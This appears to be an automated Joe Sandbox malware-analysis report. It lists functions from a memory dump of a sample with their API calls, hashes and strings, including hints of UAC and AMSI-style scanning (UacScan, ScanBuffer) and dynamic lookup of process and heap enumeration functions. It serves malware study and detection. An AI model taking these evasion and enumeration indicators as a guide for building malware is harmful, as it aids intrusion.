API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: bdf24b9b4a84d76d6b99f4a02b357de5794f6a0c09f0e70233ac7d7f969ec5a2
Instruction ID: 47cfb87e6d0f15b1d6fca3d0d0c53ac1814f44973396d0301c405323fdbefd07
Opcode Fuzzy Hash: bdf24b9b4a84d76d6b99f4a02b357de5794f6a0c09f0e70233ac7d7f969ec5a2
Instruction Fuzzy Hash: F4F0CD20708210C7CB277B39CD8867D37BA9F40364764583AA446AF202CB64CC45CBA2

Function 027D4D50 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(027EF798), ref: 027D4C6E
SysAllocStringLen.OLEAUT32(?,?), ref: 027D4D5B
SysFreeString.OLEAUT32(00000000), ref: 027D4D6D

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 5dddb5a7acdf1ffc264aed21d51a399118c55e024ce88522a09c9b5f103c8e92
Instruction ID: 8584caf13daaad371d23b94c4d2d0b1dd1f93098fc8997f599252072b84a6ebd
Opcode Fuzzy Hash: 5dddb5a7acdf1ffc264aed21d51a399118c55e024ce88522a09c9b5f103c8e92
Instruction Fuzzy Hash: AFE05BB83062056EFF156F61DD54B37333AAFC3740B548899E804DE164D739E441AD38

Function 027E70DC Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 027E73DA

Strings

H, xrefs: 027E7191

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 06bdc41f1454ffd45dd39d1003aeac44b9bc69d46aa42d8b5c5d49cc95c93d33
Instruction ID: 276470291b01e885ce0dbfc3c1ab8920f723c18603085c018145395a4c1f3b82
Opcode Fuzzy Hash: 06bdc41f1454ffd45dd39d1003aeac44b9bc69d46aa42d8b5c5d49cc95c93d33
Instruction Fuzzy Hash: 23B1C074A016089FDB19CF99D880A9DFBF6FF8D314F258169E846AB360D731A845CF60

Function 027DE760 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 027DE781

Part of subcall function 027DE364: VariantClear.OLEAUT32(?), ref: 027DE373

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: 4995d7d3ff3f84f50d300ab90048ea16d304454d4682f39f2b18a37adc97d154
Instruction ID: 88e2c7e3ebbd2f6d59a98cc16ab1d700559319c6ab7975ffa18d24c7206009b2
Opcode Fuzzy Hash: 4995d7d3ff3f84f50d300ab90048ea16d304454d4682f39f2b18a37adc97d154
Instruction Fuzzy Hash: 6211A52070021187C773AF29C9C9A6637FAAF84760B51943AE54BAF219DB30CC40CA62

Function 027DE3FC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 027DE43C

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 4106ce54f3494c43c6dc2d4394d9a2f02466c29f8fdaffdffc85f1fcd29b705a
Instruction ID: 422f6cc87450a4659f4656021fdd91258aeee51cceffdc57944fdbff15c8ad03
Opcode Fuzzy Hash: 4106ce54f3494c43c6dc2d4394d9a2f02466c29f8fdaffdffc85f1fcd29b705a
Instruction Fuzzy Hash: B5315471600208AFDB12EFA8D888AAE77F9EB0C314F544565F949DB240D734F950CBA1

Function 027E6D6C Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,027E6DB9,?,?,?,00000000), ref: 027E6D99

Part of subcall function 027D4C60: SysFreeString.OLEAUT32(027EF798), ref: 027D4C6E

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 481863d72998645319ac5e7b3048b94b466fb704b7a1b46bd4ac6328c852f1c5
Instruction ID: d47b9f504c21f15a22c7004cb3d1549ae99c68ed1e721b69772ac58b2669f714
Opcode Fuzzy Hash: 481863d72998645319ac5e7b3048b94b466fb704b7a1b46bd4ac6328c852f1c5
Instruction Fuzzy Hash: F6E0ED75200208BBEB13EB63DC61D8E7BFDDB8E700BA104B1E90193610DA31AE0088B0

Function 027D5868 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(027D0000,?,00000105), ref: 027D5886

Part of subcall function 027D5ACC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,027D0000,027FE790), ref: 027D5AE8
Part of subcall function 027D5ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,027D0000,027FE790), ref: 027D5B06
Part of subcall function 027D5ACC: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,027D0000,027FE790), ref: 027D5B24
Part of subcall function 027D5ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 027D5B42
Part of subcall function 027D5ACC: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,027D5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 027D5B8B
Part of subcall function 027D5ACC: RegQueryValueExA.ADVAPI32(?,027D5D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,027D5BD1,?,80000001), ref: 027D5BA9
Part of subcall function 027D5ACC: RegCloseKey.ADVAPI32(?,027D5BD8,00000000,?,?,00000000,027D5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 027D5BCB

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
Instruction ID: 74db4097aefe0c216075f0d6fad94a1de84f50ffb3d658e2807117a1dfdf44d8
Opcode Fuzzy Hash: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
Instruction Fuzzy Hash: 16E09271A003148FCB10DE9CC9C5B5637E8AF48750F480961EC58CF346D7B1D9108BD0

Function 027D7DE0 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 027D7DF4

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction ID: 8f1760e1847f266f59a27c5afbc7100f145bf6179ee8ec1720bc08875c16b9c2
Opcode Fuzzy Hash: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction Fuzzy Hash: FCD05BB23081507AE224955AAD44EA75BECCBC6771F10073DF568C7180D7208C01C671

Function 027D7E5C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,027F0714,ScanString,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,ScanString,0282B37C,027FB9D4,UacScan,0282B37C,027FB9D4,UacInitialize), ref: 027D7E67

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: f0603f79c985abbd9e467084389eeeab23f229ce479b25f1777e651fb4263a00
Instruction ID: fca83eea63b30276686a1553a8d7284d7c7d127178471c9fdfb4b01191db4ade
Opcode Fuzzy Hash: f0603f79c985abbd9e467084389eeeab23f229ce479b25f1777e651fb4263a00
Instruction Fuzzy Hash: D8C02BF13012000A5E5865FC3CCD24953EE0D042383640F21F4F8CF2E2D332E8A32810

Function 027D7E80 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,027F3891,ScanString,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,ScanBuffer,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,Initialize), ref: 027D7E8B

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 3467ccafc9b080e3920a03b803a7582c061543677b4cd7e3fb3217d71785ba3f
Instruction ID: 20ec2e0469e27167eba0039328b88337e2119cd09d4c02bdc5d5c1f3dff57a73
Opcode Fuzzy Hash: 3467ccafc9b080e3920a03b803a7582c061543677b4cd7e3fb3217d71785ba3f
Instruction Fuzzy Hash: C0C02BF33112000E1E64A7FC2CCC21943ED09841347601F21F478CB3C1D326E8232820

Function 027D4C78 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 027D4C8B

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 8f59a01dc2def63d57c38a763d75440e0a15885831eefe8f9f31431ff0765006
Instruction ID: 12f595c1628110c02b86e170e4ba736ceb2ba8dbc68d944ddfa7e6941ce41d20
Opcode Fuzzy Hash: 8f59a01dc2def63d57c38a763d75440e0a15885831eefe8f9f31431ff0765006
Instruction Fuzzy Hash: EFC012A660123057EB215699ECC475262EC9B05295B1404A1D408D7250E370980046A0

Function 027D4C9C Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(027EF798), ref: 027D4C6E
SysReAllocStringLen.OLEAUT32(027FC858,027EF798,000000B4), ref: 027D4CB6

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 60f216499253b9dff2cac0f6af8fdc80ea07a63062dd34f7668bbc85ccb701f1
Instruction ID: a267a6afe7a81ee47134d846e8b06003ed0badd2e95e039256669834d837e891
Opcode Fuzzy Hash: 60f216499253b9dff2cac0f6af8fdc80ea07a63062dd34f7668bbc85ccb701f1
Instruction Fuzzy Hash: 2AD080743011056DAF3C8B27D578D37717AD9D12057CCCF5D980E5A264D735D401CA70

Function 027FC534 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,027FC528,00000000,00000001), ref: 027FC544

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: 2306ddbc62d4188e185a27de53064066f351e1047fa201482fbf09ca147a7d87
Instruction ID: dd6fd052a46f5c46d904abcc1999f8f38f3d5a096667b33c43ae5821f7877832
Opcode Fuzzy Hash: 2306ddbc62d4188e185a27de53064066f351e1047fa201482fbf09ca147a7d87
Instruction Fuzzy Hash: FFC092F17C93043EFA1296AA5CC2F7315EDD709B01F24046AB702EE2D1D2F249108A20

Function 027D4C38 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 027D4C3F

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: c6798f38304dee73ceb65798926069c1248633c6a97c564d7c3bc885b6e1b3e2
Instruction ID: d43cdc19a0f65747f7beffae656f74d2667a030949ea38f71018b38ad5659b80
Opcode Fuzzy Hash: c6798f38304dee73ceb65798926069c1248633c6a97c564d7c3bc885b6e1b3e2
Instruction Fuzzy Hash: FDB0123430920115FB1823A38F24733007D0B40286FC404919F1CD80D6FB11D0038C35

Function 027D4C50 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 027D4C57

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: ae581ebb92addf67a3a65b39d43af7ed10248a7cf14a7419a8a23d03648cf3b3
Instruction ID: fff429f9d8f6520fbedf56dcf1241ac09eccca792774b564aaf722ce67a10c45
Opcode Fuzzy Hash: ae581ebb92addf67a3a65b39d43af7ed10248a7cf14a7419a8a23d03648cf3b3
Instruction Fuzzy Hash: EAA022AC2003030A8F0B33AC803023F22333FC23003C8C8E882080A0008F3B8000AC30

Function 027D15CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,027D1A03,?,027D2000), ref: 027D15E2

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 09ed435df44834b811771051a7cd9ab1f27a8f59dc3d495ae3c6c85f46c6c1c3
Instruction ID: e1184fa4abd0b97953f3034a31af54fbf401977bc2cd0eabc17bcb21de2aef28
Opcode Fuzzy Hash: 09ed435df44834b811771051a7cd9ab1f27a8f59dc3d495ae3c6c85f46c6c1c3
Instruction Fuzzy Hash: AFF049F4B413004FEF15CFB999443027AE2E789344F55C579D609DB3C8E77184098B20

Function 027D1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,027D2000), ref: 027D16A4

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4970d546093d5fc92728a2b9262876d9ea5c6c38dc738b8063b007c3852547b9
Instruction ID: 0c2e52c6011463738cbc677182f28eb649d4bfd490d97f78a9613f6630cd6335
Opcode Fuzzy Hash: 4970d546093d5fc92728a2b9262876d9ea5c6c38dc738b8063b007c3852547b9
Instruction Fuzzy Hash: 0DF0F0FAB006946FD3218E5A9C80782BBA0FB00310F054139EA8897381D770A8148B98

Function 027D16E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,027D1FE4), ref: 027D1704

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 529cea1f34f1dd982efc063346d2f3e8059b9581477db7b0212ac4663fadcbd6
Instruction ID: 46ceda6d32f9ccf448e78ecbb1ba665aef2c3a1401629c743302262c7696db95
Opcode Fuzzy Hash: 529cea1f34f1dd982efc063346d2f3e8059b9581477db7b0212ac4663fadcbd6
Instruction Fuzzy Hash: 47E08C79300302AFE7205A7A9D84B12BBE8EB48664F654476F649DB292D6A0E8148B74

Non-executed Functions

Function 027EA9D4 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,027EAC5B,?,?,027EACED,00000000,027EADC9), ref: 027EA9E8
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 027EAA00
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 027EAA12
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 027EAA24
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 027EAA36
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 027EAA48
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 027EAA5A
GetProcAddress.KERNEL32(00000000,Process32First), ref: 027EAA6C
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 027EAA7E
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 027EAA90
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 027EAAA2
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 027EAAB4
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 027EAAC6
GetProcAddress.KERNEL32(00000000,Module32First), ref: 027EAAD8
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 027EAAEA
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 027EAAFC
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 027EAB0E

Strings

Module32FirstW, xrefs: 027EAAF4
Module32First, xrefs: 027EAAD0
Thread32Next, xrefs: 027EAABE
Toolhelp32ReadProcessMemory, xrefs: 027EAA52
Heap32ListFirst, xrefs: 027EAA0A
kernel32.dll, xrefs: 027EA9E3
Process32FirstW, xrefs: 027EAA88
CreateToolhelp32Snapshot, xrefs: 027EA9F8
Module32NextW, xrefs: 027EAB06
Heap32First, xrefs: 027EAA2E
Process32First, xrefs: 027EAA64
Heap32ListNext, xrefs: 027EAA1C
Thread32First, xrefs: 027EAAAC
Heap32Next, xrefs: 027EAA40
Module32Next, xrefs: 027EAAE2
Process32NextW, xrefs: 027EAA9A
Process32Next, xrefs: 027EAA76

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: AddressProc$HandleModule
